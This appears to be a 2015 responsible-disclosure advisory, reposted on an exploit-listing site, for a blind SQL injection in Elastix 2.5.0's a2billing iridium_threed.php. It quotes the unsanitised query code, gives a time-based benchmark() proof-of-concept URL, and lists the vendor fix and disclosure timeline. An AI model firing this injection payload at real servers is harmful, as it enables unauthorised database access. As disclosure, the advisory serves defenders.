Elastix 2.5.0 Blind SQL Injection Vulnerability

2015.03.07
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-89

# Title: Elastix v2.x Blind SQL Injection Vulnerability # Author: Ahmed Aboul-Ela # Twitter: https://twitter.com/aboul3la # Vendor : http://www.elastix.org # Version: v2.5.0 and prior versions should be affected too - Vulnerable Source Code snippet in "a2billing/customer/iridium_threed.php": <?php [...] line 5: getpost_ifset (array('transactionID', 'sess_id', 'key', 'mc_currency', 'currency', 'md5sig', 'merchant_id', 'mb_amount', 'status','mb_currency','transaction_id', 'mc_fee', 'card_number')); line 34: $QUERY = "SELECT id, cardid, amount, vat, paymentmethod, cc_owner, cc_number, cc_expires, creationdate, status, cvv, credit_card_type,currency, item_id, item_type " . " FROM cc_epayment_log " . " WHERE id = ".$transactionID; line 37: $transaction_data = $paymentTable->SQLExec ($DBHandle_max, $QUERY); [...] ?> The GET parameter transactionID was used directly in the SQL query without any sanitization which lead directly to SQL Injection vulnerability. - Proof of Concept: http://[host]/a2billing/customer/iridium_threed.php?transactionID=-1 and 1=benchmark(2000000,md5(1)) The backend response will delay for few seconds, which means the benchmark() function was executed successfully - Mitigation: The vendor has released a fix for the vulnerability. It is strongly recommended to update your elastix server now [~] yum update elastix-a2billing - Time-Line: Sat, Feb 14, 2015 at 2:19 PM: Vulnerability report sent to Elastix Wed, Feb 18, 2015 at 4:29 PM: Confirmation of the issue from Elastix Fri, Mar 6, 2015 at 8:39 PM: Elastix released a fix for the vulnerability Sat, Mar 7, 2015 at 5:15 PM: The public responsible disclosure - Credits: Ahmed Aboul-Ela - Cyber Security Analyst @ EG-CERT


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top